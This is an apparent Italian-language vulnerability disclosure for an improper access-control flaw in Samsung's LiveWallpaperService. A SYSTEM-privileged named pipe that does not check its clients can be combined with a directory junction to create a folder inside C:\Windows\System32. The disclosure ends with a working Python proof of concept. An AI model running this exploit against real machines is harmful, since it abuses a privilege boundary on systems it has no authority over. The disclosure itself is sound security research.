
Un controllo degli accessi improprio in LiveWallpaperService precedente alla versione 3.0.9.0 consente di creare una specifica directory di sistema denominata senza un'autorizzazione adeguata.
Versione di Windows testata: Windows 10 20H2 (Build 19042.1348) 64bit
Versione di Live Wallpaper: 3.0.9.0 o precedente
C'è un LiveWallpaperService che funziona per impostazione predefinita sui laptop Samsung, ma c'era una vulnerabilità che creava la directory SYSTEM in una directory con privilegi SYSTEM nel servizio SYSTEM.
Live Wallpaper è solitamente installato per impostazione predefinita sui laptop Samsung, ma è anche un'app disponibile nel Microsoft Store. L'app può essere eseguita con permessi utente e comunica tra server e client tramite Named PIPE IPC. Al momento, il server PIPE opera con privilegi SYSTEM e non verifica chi siano i client.
Quello che segue è il processo operativo eseguito quando viene avviata l'app corrispondente.
Il server, dopo aver ricevuto la stringa unicode '33;', accede alla cartella 'C:\Users{username}\AppData\Local\Packages\Sidia.LiveWallpaper_wkpx6gdq8qyz8' e verifica l'esistenza della directory LiveWallpaperData. Una nuova directory del file system viene creata nella directory con il nome 'LiveWallpaperData'.
La Named PIPE viene utilizzata per comunicare tra processi. Poiché non c'è un'ispezione separata del client, l'attaccante può aprirla direttamente e inviare i dati desiderati.
Innanzitutto, dopo aver aperto direttamente la Named PIPE, creare un directory junction verso C:\Windows\System32 utilizzando symboliclink-testing-tools prodotto da james forshaw. Viene creata come sottodirectory della directory System32 con privilegi.
Ecco il PoC per questa vulnerabilità.
Per eseguire il PoC, devono essere soddisfatte le seguenti condizioni:
# python 3.7.2
import os
import shutil
import time
import getpass
def stringToWstring(st : str) -> str:
result = ''
for i in st:
result += i+'\x00'
return result
def main():
# current user name
username = getpass.getuser()
# path settings
path1 = f'C:\\Users\\{username}\\AppData\\Local\\Packages\\Sidia.LiveWallpaper_wkpx6gdq8qyz8'
path2 = 'C:\\Windows\\System32'
# delete directory
if os.path.isdir(path1):
shutil.rmtree(path1)
# create directory junction
command = f'CreateMountPoint.exe "{path1}" "{path2}"'
os.system(command)
# write data to named pipe
with open('\\\\.\\pipe\\LiveWallpaperPipe', 'a') as f:
f.write(stringToWstring('33;'))
# IPC delay time
time.sleep(2)
# directory check
if os.path.isdir(path2+'\\LiveWallpaperData'):
print('[+] Success')
else:
print('[-] failed')
# delete directory junction
command = f'DeleteMountPoint.exe {path1}'
os.system(command)
shutil.rmtree(path1)
if __name__=='__main__':
main()